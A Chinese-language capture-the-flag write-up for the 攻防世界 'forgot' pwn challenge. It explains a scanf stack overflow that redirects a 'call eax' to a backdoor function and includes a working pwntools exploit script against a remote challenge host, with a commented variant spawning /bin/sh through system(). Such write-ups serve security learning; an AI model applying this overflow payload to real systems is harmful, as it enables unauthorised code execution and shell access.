攻防世界-pwn-forgot
阿新 • • 發佈:2021-01-15
技術標籤:CTF
簡單題…不過一開始沒找到重點,浪費時間了。
開始定義了一大堆沒有用的函式。
然後是開始一大堆輸出。給了函式地址,不過因為沒有PIE所以其實不需要…
漏洞點在scanf,明顯的溢位,但是這裡不是這麼做的…
下面是一個迴圈check,根據輸入最後決定v5的值 (重點)
結束迴圈後是一行奇怪的程式碼
其實看彙編更好理解
很明顯,如果我們控制了 [esp+78h] (這是棧上的我們能控制的值)
再在棧上合理位置佈置好值,就可以通過call eax執行任意函數了
事實上 [esp+78h] 就是上面switch中的 v5
如果我們一開始就把v5覆蓋成1-9之外的值,那整個迴圈中switch都不會執行
有一個後門函式
將v5後的四個位元組作為函式地址,算得v5需覆蓋為21,符合要求
payload如下:
# -*- coding:utf-8 -*-
from pwn import *
#from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
r = remote('220.249.52.134', 30894)
e = ELF('/home/xyzmpv/桌面/d033ab68b3e64913a1b6b1029ef3dc29' )
#gdb.attach(r,'b* 0x08048A58')
#r = process('/home/xyzmpv/桌面/d033ab68b3e64913a1b6b1029ef3dc29')
#gdb.attach(r,'b* 0x08048A65')
system_addr = e.plt['system']
r.recvuntil('>')
r.sendline('a')
r.recvuntil('>')
r.sendline('a'*104+p32(21)+p32(0x80486cc))
#r.sendline('/bin/sh;'+'a'*96+p32(21)+p32(0xdeadbeef)+p32(system_addr))
r.interactive()
當然了,因為有system()所以get shell也可以
因為函式引數是 [esp] 正好是一個指向我們輸入的內容的指標
將padding頭部改為/bin/sh即可。